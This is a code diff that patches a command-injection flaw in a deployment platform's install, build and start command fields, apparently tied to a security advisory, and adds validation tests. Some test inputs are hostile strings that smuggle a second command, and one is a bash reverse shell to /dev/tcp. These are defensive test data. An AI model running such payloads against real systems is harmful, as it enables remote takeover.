diff --git a/app/Livewire/Project/Application/General.php b/app/Livewire/Project/Application/General.php index 5c186af70..c12fec76a 100644 --- a/app/Livewire/Project/Application/General.php +++ b/app/Livewire/Project/Application/General.php @@ -146,9 +146,9 @@ protected function rules(): array 'gitRepository' => 'required', 'gitBranch' => 'required', 'gitCommitSha' => ['nullable', 'string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], - 'installCommand' => 'nullable', - 'buildCommand' => 'nullable', - 'startCommand' => 'nullable', + 'installCommand' => ValidationPatterns::shellSafeCommandRules(), + 'buildCommand' => ValidationPatterns::shellSafeCommandRules(), + 'startCommand' => ValidationPatterns::shellSafeCommandRules(), 'buildPack' => 'required', 'staticImage' => 'required', 'baseDirectory' => array_merge(['required'], array_slice(ValidationPatterns::directoryPathRules(), 1)), @@ -200,6 +200,9 @@ protected function messages(): array 'dockerComposeCustomStartCommand.regex' => 'The Docker Compose start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'dockerComposeCustomBuildCommand.regex' => 'The Docker Compose build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'customDockerRunOptions.regex' => 'The custom Docker run options contain invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'installCommand.regex' => 'The install command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'buildCommand.regex' => 'The build command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', + 'startCommand.regex' => 'The start command contains invalid characters. Shell operators like ;, |, $, and backticks are not allowed.', 'preDeploymentCommandContainer.regex' => 'The pre-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'postDeploymentCommandContainer.regex' => 'The post-deployment command container name must contain only alphanumeric characters, dots, hyphens, and underscores.', 'name.required' => 'The Name field is required.', diff --git a/bootstrap/helpers/api.php b/bootstrap/helpers/api.php index ec42761f7..3241276e1 100644 --- a/bootstrap/helpers/api.php +++ b/bootstrap/helpers/api.php @@ -95,9 +95,9 @@ function sharedDataApplications() 'git_commit_sha' => ['string', 'regex:/^[a-zA-Z0-9][a-zA-Z0-9._\-\/]*$/'], 'docker_registry_image_name' => 'string|nullable', 'docker_registry_image_tag' => 'string|nullable', - 'install_command' => 'string|nullable', - 'build_command' => 'string|nullable', - 'start_command' => 'string|nullable', + 'install_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'build_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), + 'start_command' => \App\Support\ValidationPatterns::shellSafeCommandRules(), 'ports_exposes' => 'string|regex:/^(\d+)(,\d+)*$/', 'ports_mappings' => 'string|regex:/^(\d+:\d+)(,\d+:\d+)*$/|nullable', 'custom_network_aliases' => 'string|nullable', diff --git a/tests/Feature/CommandInjectionSecurityTest.php b/tests/Feature/CommandInjectionSecurityTest.php index cfa363e79..c3534b05f 100644 --- a/tests/Feature/CommandInjectionSecurityTest.php +++ b/tests/Feature/CommandInjectionSecurityTest.php @@ -672,3 +672,185 @@ expect($middleware)->toContain('api.ability:deploy'); }); }); + +describe('install/build/start command validation (GHSA-9pp4-wcmj-rq73)', function () { + test('rejects semicolon injection in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => 'npm install; curl evil.com'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects pipe injection in build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => 'npm run build | curl evil.com'], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects command substitution in start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => 'npm start $(whoami)'], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects backtick injection in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => 'npm install `whoami`'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects dollar sign in build_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => 'npm run build $HOME'], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects reverse shell payload in install_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => '"; bash -i >& /dev/tcp/172.23.0.1/1337 0>&1; #'], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('rejects newline injection in start_command', function () { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => "npm start\ncurl evil.com"], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeTrue(); + }); + + test('allows valid install commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['install_command' => $cmd], + ['install_command' => $rules['install_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm install', + 'yarn install --frozen-lockfile', + 'pip install -r requirements.txt', + 'bun install', + 'pnpm install --no-frozen-lockfile', + ]); + + test('allows valid build commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['build_command' => $cmd], + ['build_command' => $rules['build_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm run build', + 'cargo build --release', + 'go build -o main .', + 'yarn build && yarn postbuild', + 'make build', + ]); + + test('allows valid start commands', function ($cmd) { + $rules = sharedDataApplications(); + + $validator = validator( + ['start_command' => $cmd], + ['start_command' => $rules['start_command']] + ); + + expect($validator->fails())->toBeFalse(); + })->with([ + 'npm start', + 'node server.js', + 'python main.py', + 'java -jar app.jar', + './start.sh', + ]); + + test('allows null values for command fields', function ($field) { + $rules = sharedDataApplications(); + + $validator = validator( + [$field => null], + [$field => $rules[$field]] + ); + + expect($validator->fails())->toBeFalse(); + })->with(['install_command', 'build_command', 'start_command']); +}); + +describe('install/build/start command rules survive array_merge in controller', function () { + test('install_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['install_command'])->toBeArray(); + expect($merged['install_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('build_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['build_command'])->toBeArray(); + expect($merged['build_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); + + test('start_command safe regex is not overridden by local rules', function () { + $sharedRules = sharedDataApplications(); + + $localRules = [ + 'name' => 'string|max:255', + 'docker_compose_domains' => 'array|nullable', + ]; + $merged = array_merge($sharedRules, $localRules); + + expect($merged['start_command'])->toBeArray(); + expect($merged['start_command'])->toContain('regex:'.ValidationPatterns::SHELL_SAFE_COMMAND_PATTERN); + }); +});